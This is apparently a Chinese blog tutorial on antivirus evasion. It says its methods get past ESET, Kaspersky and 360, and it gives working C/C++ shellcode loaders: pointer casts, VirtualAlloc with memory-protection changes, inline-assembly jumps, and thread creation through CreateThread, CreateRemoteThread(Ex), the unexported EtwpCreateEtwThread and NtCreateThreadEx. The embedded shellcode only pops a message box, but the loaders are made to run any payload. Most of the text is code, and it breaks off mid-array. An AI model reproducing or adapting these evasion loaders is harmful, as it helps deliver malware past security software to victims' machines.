2024年2月12日13:57:49评论12 views字数 37913阅读126分22秒阅读模式

所有的免杀学习都需要从如何执行shellcode开始，那么该如何执行shellcode呢？执行shellcode的方式又有哪些呢？

该专题就是从入门开始，一步步打基础。

学完免杀达到的效果

过ESET

免杀学习-基础-一

过卡巴斯基(静态+动态)&&360核晶

免杀学习-基础-一

首先我们需要知道，执行shellcode的方式，有哪些?

shellcode 加载方法

shellcode加载方法有以下6种，都是最简单的入门方式。

1.指针执行

//头文件不写了
//隐藏黑框
#pragma comment(linker, "/subsystem:"Windows" /entry:"mainCRTStartup
"")
int main(){
    unsigned char buf[] = "xfcxe8";
    ((void(*)(void))&buf)();
}

2.申请内存加载

int main()
{
    char buf[] = "xfcxe8";
    LPVOID exe;
    exe = VirtualAlloc(buf, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exe, buf, sizeof(buf));
    ((void(*)())exe)();
}

3.嵌入汇编加载

int main()
{
    unsigned char buf[] = "xfcxe8";
    DWORD p;
    void* code = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE);
    CopyMemory(code, buf, sizeof(buf));
    __asm {
        mov eax, code
        push eax
        ret
    }
}

unsigned char buf[] = "xfcxe8";
DWORD p;
VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &p);
__asm {
    lea eax,buff
    push eax
    ret
}

int main()
{
    unsigned char buf[] = "xfcxe8";
    __asm
    {
        mov eax, offset buf
        jmp eax
    }
}

4.创建线程加载

unsigned char buf[] = "xfcxe8";
DWORD p;
void* code = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(code, buf, sizeof(buf));
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)code, 0, 0, 0);
system("pause");

5.强制类型转换

int main()
{
    unsigned char buf[] = "xfcxe8";
   ((void(WINAPI*)(void)) & buf)();
}

6.汇编花指令

int main()
{
    unsigned char buf[] = "xfcxe8";
    __asm
    {
        mov eax, offset buf;
        _emit 0xFF;
        _emit 0xE0;
    }
}

创建线程加载

在了解加载shellcode方式之后，我们本篇幅来详细介绍一些创建线程方式加载shellcode的方法：

CreateRemoteThreadEx-注入自身.cpp

// CreateRemoteThreadEx-注入自身.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <windows.h>

unsigned char x86_nullfree_msgbox[] = {
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x68, 0x33, 0xC0, 0xC7, 0x45, 0xEC, 0x75, 0x73, 0x65, 0x72, 0x56,
0x57, 0x8D, 0x4D, 0x98, 0xC7, 0x45, 0xF0, 0x33, 0x32, 0x2E, 0x64, 0x66, 0xC7, 0x45, 0xF4, 0x6C,
0x6C, 0xC6, 0x45, 0xF6, 0x00, 0xC7, 0x45, 0xD4, 0x4D, 0x65, 0x73, 0x73, 0xC7, 0x45, 0xD8, 0x61,
0x67, 0x65, 0x42, 0xC7, 0x45, 0xDC, 0x6F, 0x78, 0x41, 0x00, 0xC7, 0x45, 0x98, 0x6B, 0x00, 0x65,
0x00, 0xC7, 0x45, 0x9C, 0x72, 0x00, 0x6E, 0x00, 0xC7, 0x45, 0xA0, 0x65, 0x00, 0x6C, 0x00, 0xC7,
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0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x3C, 0x30, 0x03, 0xFE, 0xEB, 0x0C, 0x8D, 0x55, 0xB4, 0x8B, 0xCE,
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0x44, 0x30, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x30, 0x03, 0xC6, 0xEB, 0x0A, 0x8D, 0x55, 0xC4,
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0x45, 0xE8, 0x6C, 0x64, 0xC6, 0x45, 0xEA, 0x00, 0xC7, 0x45, 0xF8, 0x54, 0x65, 0x73, 0x74, 0xC6,
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0x8B, 0x47, 0x30, 0x85, 0xC0, 0x74, 0x35, 0x0F, 0xB7, 0x08, 0x66, 0x85, 0xC9, 0x74, 0x1D, 0x90,
0x0F, 0xB7, 0x32, 0x66, 0x85, 0xF6, 0x74, 0x14, 0x66, 0x3B, 0xCE, 0x75, 0x0F, 0x0F, 0xB7, 0x48,
0x02, 0x83, 0xC0, 0x02, 0x83, 0xC2, 0x02, 0x66, 0x85, 0xC9, 0x75, 0xE4, 0x0F, 0xB7, 0x08, 0x0F,
0xB7, 0x02, 0x66, 0x3B, 0xC8, 0x74, 0x12, 0x8B, 0x3F, 0x8B, 0x55, 0xF8, 0x3B, 0x1F, 0x75, 0xC0,
0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x47, 0x18, 0x5F, 0x5E, 0x5B, 0x8B,
0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8B, 0xD9, 0x89, 0x55, 0xF4, 0x56, 0x57, 0x33, 0xFF,
0x8B, 0x43, 0x3C, 0x8B, 0x44, 0x18, 0x78, 0x03, 0xC3, 0x8B, 0x70, 0x24, 0x8B, 0x48, 0x20, 0x03,
0xF3, 0x89, 0x75, 0xF0, 0x03, 0xCB, 0x8B, 0x70, 0x1C, 0x8B, 0x40, 0x18, 0x03, 0xF3, 0x89, 0x4D,
0xF8, 0x89, 0x75, 0xEC, 0x89, 0x45, 0xFC, 0x85, 0xC0, 0x74, 0x3A, 0x0F, 0x1F, 0x44, 0x00, 0x00,
0x8B, 0x0C, 0xB9, 0x8B, 0xF2, 0x03, 0xCB, 0x8A, 0x01, 0x84, 0xC0, 0x74, 0x16, 0x0F, 0x1F, 0x00,
0x8A, 0x16, 0x84, 0xD2, 0x74, 0x0D, 0x3A, 0xC2, 0x75, 0x09, 0x8A, 0x41, 0x01, 0x41, 0x46, 0x84,
0xC0, 0x75, 0xED, 0x8A, 0x11, 0x3A, 0x16, 0x74, 0x15, 0x8B, 0x4D, 0xF8, 0x47, 0x8B, 0x55, 0xF4,
0x3B, 0x7D, 0xFC, 0x72, 0xCB, 0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x45,
0xF0, 0x8B, 0x4D, 0xEC, 0x0F, 0xB7, 0x04, 0x78, 0x5F, 0x5E, 0x8B, 0x04, 0x81, 0x03, 0xC3, 0x5B,
0x8B, 0xE5, 0x5D, 0xC3, 0x00
};


int main()
{

    LPVOID exec = VirtualAlloc(0, sizeof(x86_nullfree_msgbox), MEM_COMMIT, PAGE_READWRITE);
    RtlMoveMemory(exec, x86_nullfree_msgbox, sizeof(x86_nullfree_msgbox));
    DWORD odProtect = 0;
    DWORD dwThreadID = 0;
    BOOL bRet = VirtualProtect(exec, sizeof(x86_nullfree_msgbox), PAGE_EXECUTE_READWRITE, &odProtect);
    if (bRet != 0)
    {
        HANDLE hThread = CreateRemoteThreadEx(GetCurrentProcess(), NULL, NULL, (LPTHREAD_START_ROUTINE)exec, NULL, NULL, NULL, &dwThreadID);
        WaitForSingleObjectEx(hThread, -1, TRUE);
    }
    VirtualFree(exec, sizeof(x86_nullfree_msgbox), MEM_RELEASE);
    std::cout << "Hello World!n";
}

CreateRemoteThread-注入自身.cpp

// CreateRemoteThread-注入自身.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <windows.h>


unsigned char x86_nullfree_msgbox[] = {
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x68, 0x33, 0xC0, 0xC7, 0x45, 0xEC, 0x75, 0x73, 0x65, 0x72, 0x56,
0x57, 0x8D, 0x4D, 0x98, 0xC7, 0x45, 0xF0, 0x33, 0x32, 0x2E, 0x64, 0x66, 0xC7, 0x45, 0xF4, 0x6C,
0x6C, 0xC6, 0x45, 0xF6, 0x00, 0xC7, 0x45, 0xD4, 0x4D, 0x65, 0x73, 0x73, 0xC7, 0x45, 0xD8, 0x61,
0x67, 0x65, 0x42, 0xC7, 0x45, 0xDC, 0x6F, 0x78, 0x41, 0x00, 0xC7, 0x45, 0x98, 0x6B, 0x00, 0x65,
0x00, 0xC7, 0x45, 0x9C, 0x72, 0x00, 0x6E, 0x00, 0xC7, 0x45, 0xA0, 0x65, 0x00, 0x6C, 0x00, 0xC7,
0x45, 0xA4, 0x33, 0x00, 0x32, 0x00, 0xC7, 0x45, 0xA8, 0x2E, 0x00, 0x64, 0x00, 0xC7, 0x45, 0xAC,
0x6C, 0x00, 0x6C, 0x00, 0x66, 0x89, 0x45, 0xB0, 0xC7, 0x45, 0xB4, 0x47, 0x65, 0x74, 0x50, 0xC7,
0x45, 0xB8, 0x72, 0x6F, 0x63, 0x41, 0xC7, 0x45, 0xBC, 0x64, 0x64, 0x72, 0x65, 0x66, 0xC7, 0x45,
0xC0, 0x73, 0x73, 0x88, 0x45, 0xC2, 0xC7, 0x45, 0xC4, 0x4C, 0x6F, 0x61, 0x64, 0xC7, 0x45, 0xC8,
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0x44, 0x30, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x30, 0x03, 0xC6, 0xEB, 0x0A, 0x8D, 0x55, 0xC4,
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0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8B, 0xD9, 0x89, 0x55, 0xF4, 0x56, 0x57, 0x33, 0xFF,
0x8B, 0x43, 0x3C, 0x8B, 0x44, 0x18, 0x78, 0x03, 0xC3, 0x8B, 0x70, 0x24, 0x8B, 0x48, 0x20, 0x03,
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0x3B, 0x7D, 0xFC, 0x72, 0xCB, 0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x45,
0xF0, 0x8B, 0x4D, 0xEC, 0x0F, 0xB7, 0x04, 0x78, 0x5F, 0x5E, 0x8B, 0x04, 0x81, 0x03, 0xC3, 0x5B,
0x8B, 0xE5, 0x5D, 0xC3, 0x00
};

int main()
{
    LPVOID exec = VirtualAlloc(NULL, sizeof(x86_nullfree_msgbox), MEM_COMMIT, PAGE_READWRITE);
    RtlMoveMemory(exec, x86_nullfree_msgbox, sizeof(x86_nullfree_msgbox));
    DWORD old_Protect = 0;
    DWORD dwThreadID = 0;
    BOOL bRet = VirtualProtect(exec, sizeof(x86_nullfree_msgbox), PAGE_EXECUTE_READWRITE, &old_Protect);
    if (bRet != 0)
    {
        HANDLE hThread = CreateRemoteThread(GetCurrentProcess(), NULL, NULL, (LPTHREAD_START_ROUTINE)exec, NULL, NULL, &dwThreadID);
        WaitForSingleObjectEx(hThread, -1, TRUE);
    }
    VirtualFree(exec, sizeof(x86_nullfree_msgbox), MEM_RELEASE);
    std::cout << "Hello World!n";
}

CreateThread.cpp

// CreateThread.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <windows.h>

unsigned char x86_nullfree_msgbox[] = {
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x68, 0x33, 0xC0, 0xC7, 0x45, 0xEC, 0x75, 0x73, 0x65, 0x72, 0x56,
0x57, 0x8D, 0x4D, 0x98, 0xC7, 0x45, 0xF0, 0x33, 0x32, 0x2E, 0x64, 0x66, 0xC7, 0x45, 0xF4, 0x6C,
0x6C, 0xC6, 0x45, 0xF6, 0x00, 0xC7, 0x45, 0xD4, 0x4D, 0x65, 0x73, 0x73, 0xC7, 0x45, 0xD8, 0x61,
0x67, 0x65, 0x42, 0xC7, 0x45, 0xDC, 0x6F, 0x78, 0x41, 0x00, 0xC7, 0x45, 0x98, 0x6B, 0x00, 0x65,
0x00, 0xC7, 0x45, 0x9C, 0x72, 0x00, 0x6E, 0x00, 0xC7, 0x45, 0xA0, 0x65, 0x00, 0x6C, 0x00, 0xC7,
0x45, 0xA4, 0x33, 0x00, 0x32, 0x00, 0xC7, 0x45, 0xA8, 0x2E, 0x00, 0x64, 0x00, 0xC7, 0x45, 0xAC,
0x6C, 0x00, 0x6C, 0x00, 0x66, 0x89, 0x45, 0xB0, 0xC7, 0x45, 0xB4, 0x47, 0x65, 0x74, 0x50, 0xC7,
0x45, 0xB8, 0x72, 0x6F, 0x63, 0x41, 0xC7, 0x45, 0xBC, 0x64, 0x64, 0x72, 0x65, 0x66, 0xC7, 0x45,
0xC0, 0x73, 0x73, 0x88, 0x45, 0xC2, 0xC7, 0x45, 0xC4, 0x4C, 0x6F, 0x61, 0x64, 0xC7, 0x45, 0xC8,
0x4C, 0x69, 0x62, 0x72, 0xC7, 0x45, 0xCC, 0x61, 0x72, 0x79, 0x41, 0x88, 0x45, 0xD0, 0xE8, 0xAD,
0x00, 0x00, 0x00, 0x8B, 0xF0, 0x8D, 0x45, 0xB4, 0xA9, 0x00, 0x00, 0xFF, 0xFF, 0x75, 0x1C, 0x8B,
0x4E, 0x3C, 0x8B, 0x44, 0x31, 0x78, 0x8D, 0x4D, 0xB4, 0x2B, 0x4C, 0x30, 0x10, 0x8B, 0x44, 0x30,
0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x3C, 0x30, 0x03, 0xFE, 0xEB, 0x0C, 0x8D, 0x55, 0xB4, 0x8B, 0xCE,
0xE8, 0x0B, 0x01, 0x00, 0x00, 0x8B, 0xF8, 0x8D, 0x45, 0xC4, 0xA9, 0x00, 0x00, 0xFF, 0xFF, 0x75,
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0x44, 0x30, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x30, 0x03, 0xC6, 0xEB, 0x0A, 0x8D, 0x55, 0xC4,
0x8B, 0xCE, 0xE8, 0xD9, 0x00, 0x00, 0x00, 0x8D, 0x4D, 0xEC, 0x51, 0xFF, 0xD0, 0x8D, 0x4D, 0xD4,
0x51, 0x50, 0xFF, 0xD7, 0x6A, 0x00, 0x8D, 0x4D, 0xF8, 0xC7, 0x45, 0xE0, 0x48, 0x65, 0x6C, 0x6C,
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0x45, 0xFC, 0x00, 0xFF, 0xD0, 0x5F, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x5E, 0x8B, 0xE5, 0x5D, 0xC3,
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0x0F, 0xB7, 0x32, 0x66, 0x85, 0xF6, 0x74, 0x14, 0x66, 0x3B, 0xCE, 0x75, 0x0F, 0x0F, 0xB7, 0x48,
0x02, 0x83, 0xC0, 0x02, 0x83, 0xC2, 0x02, 0x66, 0x85, 0xC9, 0x75, 0xE4, 0x0F, 0xB7, 0x08, 0x0F,
0xB7, 0x02, 0x66, 0x3B, 0xC8, 0x74, 0x12, 0x8B, 0x3F, 0x8B, 0x55, 0xF8, 0x3B, 0x1F, 0x75, 0xC0,
0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x47, 0x18, 0x5F, 0x5E, 0x5B, 0x8B,
0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8B, 0xD9, 0x89, 0x55, 0xF4, 0x56, 0x57, 0x33, 0xFF,
0x8B, 0x43, 0x3C, 0x8B, 0x44, 0x18, 0x78, 0x03, 0xC3, 0x8B, 0x70, 0x24, 0x8B, 0x48, 0x20, 0x03,
0xF3, 0x89, 0x75, 0xF0, 0x03, 0xCB, 0x8B, 0x70, 0x1C, 0x8B, 0x40, 0x18, 0x03, 0xF3, 0x89, 0x4D,
0xF8, 0x89, 0x75, 0xEC, 0x89, 0x45, 0xFC, 0x85, 0xC0, 0x74, 0x3A, 0x0F, 0x1F, 0x44, 0x00, 0x00,
0x8B, 0x0C, 0xB9, 0x8B, 0xF2, 0x03, 0xCB, 0x8A, 0x01, 0x84, 0xC0, 0x74, 0x16, 0x0F, 0x1F, 0x00,
0x8A, 0x16, 0x84, 0xD2, 0x74, 0x0D, 0x3A, 0xC2, 0x75, 0x09, 0x8A, 0x41, 0x01, 0x41, 0x46, 0x84,
0xC0, 0x75, 0xED, 0x8A, 0x11, 0x3A, 0x16, 0x74, 0x15, 0x8B, 0x4D, 0xF8, 0x47, 0x8B, 0x55, 0xF4,
0x3B, 0x7D, 0xFC, 0x72, 0xCB, 0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x45,
0xF0, 0x8B, 0x4D, 0xEC, 0x0F, 0xB7, 0x04, 0x78, 0x5F, 0x5E, 0x8B, 0x04, 0x81, 0x03, 0xC3, 0x5B,
0x8B, 0xE5, 0x5D, 0xC3, 0x00
};

int main()
{
    SIZE_T oldProtect = 0;
    printf("buf: %dn", sizeof(x86_nullfree_msgbox));
    PVOID exec = VirtualAlloc(NULL,sizeof(x86_nullfree_msgbox),MEM_COMMIT,PAGE_READWRITE);
    if (exec == NULL)
    {
        printf("VirtualAlloc is ERRORn");
    }
    RtlMoveMemory(exec, x86_nullfree_msgbox, sizeof(x86_nullfree_msgbox));

    if (VirtualProtect(exec, sizeof(x86_nullfree_msgbox), PAGE_EXECUTE_READWRITE, &oldProtect) != 0)
    {
        HANDLE  h_thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
        WaitForSingleObject(h_thread, -1);
    }
// deallocate the space
    printf("yyyyyyn");
VirtualFree(exec, sizeof(x86_nullfree_msgbox), MEM_RELEASE);
}

EtwpCreateEtwThread-未导出函数.cpp

// EtwpCreateEtwThread-未导出函数.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <windows.h>

unsigned char x86_nullfree_msgbox[] = {
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x68, 0x33, 0xC0, 0xC7, 0x45, 0xEC, 0x75, 0x73, 0x65, 0x72, 0x56,
0x57, 0x8D, 0x4D, 0x98, 0xC7, 0x45, 0xF0, 0x33, 0x32, 0x2E, 0x64, 0x66, 0xC7, 0x45, 0xF4, 0x6C,
0x6C, 0xC6, 0x45, 0xF6, 0x00, 0xC7, 0x45, 0xD4, 0x4D, 0x65, 0x73, 0x73, 0xC7, 0x45, 0xD8, 0x61,
0x67, 0x65, 0x42, 0xC7, 0x45, 0xDC, 0x6F, 0x78, 0x41, 0x00, 0xC7, 0x45, 0x98, 0x6B, 0x00, 0x65,
0x00, 0xC7, 0x45, 0x9C, 0x72, 0x00, 0x6E, 0x00, 0xC7, 0x45, 0xA0, 0x65, 0x00, 0x6C, 0x00, 0xC7,
0x45, 0xA4, 0x33, 0x00, 0x32, 0x00, 0xC7, 0x45, 0xA8, 0x2E, 0x00, 0x64, 0x00, 0xC7, 0x45, 0xAC,
0x6C, 0x00, 0x6C, 0x00, 0x66, 0x89, 0x45, 0xB0, 0xC7, 0x45, 0xB4, 0x47, 0x65, 0x74, 0x50, 0xC7,
0x45, 0xB8, 0x72, 0x6F, 0x63, 0x41, 0xC7, 0x45, 0xBC, 0x64, 0x64, 0x72, 0x65, 0x66, 0xC7, 0x45,
0xC0, 0x73, 0x73, 0x88, 0x45, 0xC2, 0xC7, 0x45, 0xC4, 0x4C, 0x6F, 0x61, 0x64, 0xC7, 0x45, 0xC8,
0x4C, 0x69, 0x62, 0x72, 0xC7, 0x45, 0xCC, 0x61, 0x72, 0x79, 0x41, 0x88, 0x45, 0xD0, 0xE8, 0xAD,
0x00, 0x00, 0x00, 0x8B, 0xF0, 0x8D, 0x45, 0xB4, 0xA9, 0x00, 0x00, 0xFF, 0xFF, 0x75, 0x1C, 0x8B,
0x4E, 0x3C, 0x8B, 0x44, 0x31, 0x78, 0x8D, 0x4D, 0xB4, 0x2B, 0x4C, 0x30, 0x10, 0x8B, 0x44, 0x30,
0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x3C, 0x30, 0x03, 0xFE, 0xEB, 0x0C, 0x8D, 0x55, 0xB4, 0x8B, 0xCE,
0xE8, 0x0B, 0x01, 0x00, 0x00, 0x8B, 0xF8, 0x8D, 0x45, 0xC4, 0xA9, 0x00, 0x00, 0xFF, 0xFF, 0x75,
0x1C, 0x8B, 0x4E, 0x3C, 0x8B, 0x44, 0x31, 0x78, 0x8D, 0x4D, 0xC4, 0x2B, 0x4C, 0x30, 0x10, 0x8B,
0x44, 0x30, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x30, 0x03, 0xC6, 0xEB, 0x0A, 0x8D, 0x55, 0xC4,
0x8B, 0xCE, 0xE8, 0xD9, 0x00, 0x00, 0x00, 0x8D, 0x4D, 0xEC, 0x51, 0xFF, 0xD0, 0x8D, 0x4D, 0xD4,
0x51, 0x50, 0xFF, 0xD7, 0x6A, 0x00, 0x8D, 0x4D, 0xF8, 0xC7, 0x45, 0xE0, 0x48, 0x65, 0x6C, 0x6C,
0x51, 0x8D, 0x4D, 0xE0, 0xC7, 0x45, 0xE4, 0x6F, 0x57, 0x6F, 0x72, 0x51, 0x6A, 0x00, 0x66, 0xC7,
0x45, 0xE8, 0x6C, 0x64, 0xC6, 0x45, 0xEA, 0x00, 0xC7, 0x45, 0xF8, 0x54, 0x65, 0x73, 0x74, 0xC6,
0x45, 0xFC, 0x00, 0xFF, 0xD0, 0x5F, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x5E, 0x8B, 0xE5, 0x5D, 0xC3,
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x08, 0x53, 0x56, 0x8B, 0xD1, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00,
0x00, 0x57, 0x89, 0x55, 0xF8, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x48, 0x0C, 0x89, 0x4D,
0xFC, 0x8B, 0x45, 0xFC, 0x8B, 0x58, 0x0C, 0x8B, 0xFB, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00,
0x8B, 0x47, 0x30, 0x85, 0xC0, 0x74, 0x35, 0x0F, 0xB7, 0x08, 0x66, 0x85, 0xC9, 0x74, 0x1D, 0x90,
0x0F, 0xB7, 0x32, 0x66, 0x85, 0xF6, 0x74, 0x14, 0x66, 0x3B, 0xCE, 0x75, 0x0F, 0x0F, 0xB7, 0x48,
0x02, 0x83, 0xC0, 0x02, 0x83, 0xC2, 0x02, 0x66, 0x85, 0xC9, 0x75, 0xE4, 0x0F, 0xB7, 0x08, 0x0F,
0xB7, 0x02, 0x66, 0x3B, 0xC8, 0x74, 0x12, 0x8B, 0x3F, 0x8B, 0x55, 0xF8, 0x3B, 0x1F, 0x75, 0xC0,
0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x47, 0x18, 0x5F, 0x5E, 0x5B, 0x8B,
0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8B, 0xD9, 0x89, 0x55, 0xF4, 0x56, 0x57, 0x33, 0xFF,
0x8B, 0x43, 0x3C, 0x8B, 0x44, 0x18, 0x78, 0x03, 0xC3, 0x8B, 0x70, 0x24, 0x8B, 0x48, 0x20, 0x03,
0xF3, 0x89, 0x75, 0xF0, 0x03, 0xCB, 0x8B, 0x70, 0x1C, 0x8B, 0x40, 0x18, 0x03, 0xF3, 0x89, 0x4D,
0xF8, 0x89, 0x75, 0xEC, 0x89, 0x45, 0xFC, 0x85, 0xC0, 0x74, 0x3A, 0x0F, 0x1F, 0x44, 0x00, 0x00,
0x8B, 0x0C, 0xB9, 0x8B, 0xF2, 0x03, 0xCB, 0x8A, 0x01, 0x84, 0xC0, 0x74, 0x16, 0x0F, 0x1F, 0x00,
0x8A, 0x16, 0x84, 0xD2, 0x74, 0x0D, 0x3A, 0xC2, 0x75, 0x09, 0x8A, 0x41, 0x01, 0x41, 0x46, 0x84,
0xC0, 0x75, 0xED, 0x8A, 0x11, 0x3A, 0x16, 0x74, 0x15, 0x8B, 0x4D, 0xF8, 0x47, 0x8B, 0x55, 0xF4,
0x3B, 0x7D, 0xFC, 0x72, 0xCB, 0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x45,
0xF0, 0x8B, 0x4D, 0xEC, 0x0F, 0xB7, 0x04, 0x78, 0x5F, 0x5E, 0x8B, 0x04, 0x81, 0x03, 0xC3, 0x5B,
0x8B, 0xE5, 0x5D, 0xC3, 0x00
};

typedef HANDLE (WINAPI * EtwpCreateEtwThread_t)(LPVOID exec, LPVOID param);

EtwpCreateEtwThread_t EtwpCreateEtwThread;



int main()
{
LPVOID exec = VirtualAlloc(NULL, sizeof(x86_nullfree_msgbox), MEM_COMMIT, PAGE_READWRITE);
RtlMoveMemory(exec, x86_nullfree_msgbox, sizeof(x86_nullfree_msgbox));
DWORD oldProtect = 0;
BOOL bRet = VirtualProtect(exec, sizeof(x86_nullfree_msgbox), PAGE_EXECUTE_READWRITE, &oldProtect);

//pEtwpCreateEtwThread EtwpCreateEtwThread;

//得到ntdll的地址
HMODULE hNtdllModule = GetModuleHandleA("ntdll.dll");
EtwpCreateEtwThread = (EtwpCreateEtwThread_t)GetProcAddress(hNtdllModule, "EtwpCreateEtwThread");

if (bRet != 0)
{
// execution
HANDLE h_thread = EtwpCreateEtwThread(exec, NULL);
WaitForSingleObject(h_thread, -1);
}
VirtualFree(exec, sizeof(x86_nullfree_msgbox), MEM_RELEASE);
}

NtCreateThreadEx.cpp

// NtCreateThreadEx.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <windows.h>

unsigned char x86_nullfree_msgbox[] = {
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x68, 0x33, 0xC0, 0xC7, 0x45, 0xEC, 0x75, 0x73, 0x65, 0x72, 0x56,
0x57, 0x8D, 0x4D, 0x98, 0xC7, 0x45, 0xF0, 0x33, 0x32, 0x2E, 0x64, 0x66, 0xC7, 0x45, 0xF4, 0x6C,
0x6C, 0xC6, 0x45, 0xF6, 0x00, 0xC7, 0x45, 0xD4, 0x4D, 0x65, 0x73, 0x73, 0xC7, 0x45, 0xD8, 0x61,
0x67, 0x65, 0x42, 0xC7, 0x45, 0xDC, 0x6F, 0x78, 0x41, 0x00, 0xC7, 0x45, 0x98, 0x6B, 0x00, 0x65,
0x00, 0xC7, 0x45, 0x9C, 0x72, 0x00, 0x6E, 0x00, 0xC7, 0x45, 0xA0, 0x65, 0x00, 0x6C, 0x00, 0xC7,
0x45, 0xA4, 0x33, 0x00, 0x32, 0x00, 0xC7, 0x45, 0xA8, 0x2E, 0x00, 0x64, 0x00, 0xC7, 0x45, 0xAC,
0x6C, 0x00, 0x6C, 0x00, 0x66, 0x89, 0x45, 0xB0, 0xC7, 0x45, 0xB4, 0x47, 0x65, 0x74, 0x50, 0xC7,
0x45, 0xB8, 0x72, 0x6F, 0x63, 0x41, 0xC7, 0x45, 0xBC, 0x64, 0x64, 0x72, 0x65, 0x66, 0xC7, 0x45,
0xC0, 0x73, 0x73, 0x88, 0x45, 0xC2, 0xC7, 0x45, 0xC4, 0x4C, 0x6F, 0x61, 0x64, 0xC7, 0x45, 0xC8,
0x4C, 0x69, 0x62, 0x72, 0xC7, 0x45, 0xCC, 0x61, 0x72, 0x79, 0x41, 0x88, 0x45, 0xD0, 0xE8, 0xAD,
0x00, 0x00, 0x00, 0x8B, 0xF0, 0x8D, 0x45, 0xB4, 0xA9, 0x00, 0x00, 0xFF, 0xFF, 0x75, 0x1C, 0x8B,
0x4E, 0x3C, 0x8B, 0x44, 0x31, 0x78, 0x8D, 0x4D, 0xB4, 0x2B, 0x4C, 0x30, 0x10, 0x8B, 0x44, 0x30,
0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x3C, 0x30, 0x03, 0xFE, 0xEB, 0x0C, 0x8D, 0x55, 0xB4, 0x8B, 0xCE,
0xE8, 0x0B, 0x01, 0x00, 0x00, 0x8B, 0xF8, 0x8D, 0x45, 0xC4, 0xA9, 0x00, 0x00, 0xFF, 0xFF, 0x75,
0x1C, 0x8B, 0x4E, 0x3C, 0x8B, 0x44, 0x31, 0x78, 0x8D, 0x4D, 0xC4, 0x2B, 0x4C, 0x30, 0x10, 0x8B,
0x44, 0x30, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x30, 0x03, 0xC6, 0xEB, 0x0A, 0x8D, 0x55, 0xC4,
0x8B, 0xCE, 0xE8, 0xD9, 0x00, 0x00, 0x00, 0x8D, 0x4D, 0xEC, 0x51, 0xFF, 0xD0, 0x8D, 0x4D, 0xD4,
0x51, 0x50, 0xFF, 0xD7, 0x6A, 0x00, 0x8D, 0x4D, 0xF8, 0xC7, 0x45, 0xE0, 0x48, 0x65, 0x6C, 0x6C,
0x51, 0x8D, 0x4D, 0xE0, 0xC7, 0x45, 0xE4, 0x6F, 0x57, 0x6F, 0x72, 0x51, 0x6A, 0x00, 0x66, 0xC7,
0x45, 0xE8, 0x6C, 0x64, 0xC6, 0x45, 0xEA, 0x00, 0xC7, 0x45, 0xF8, 0x54, 0x65, 0x73, 0x74, 0xC6,
0x45, 0xFC, 0x00, 0xFF, 0xD0, 0x5F, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x5E, 0x8B, 0xE5, 0x5D, 0xC3,
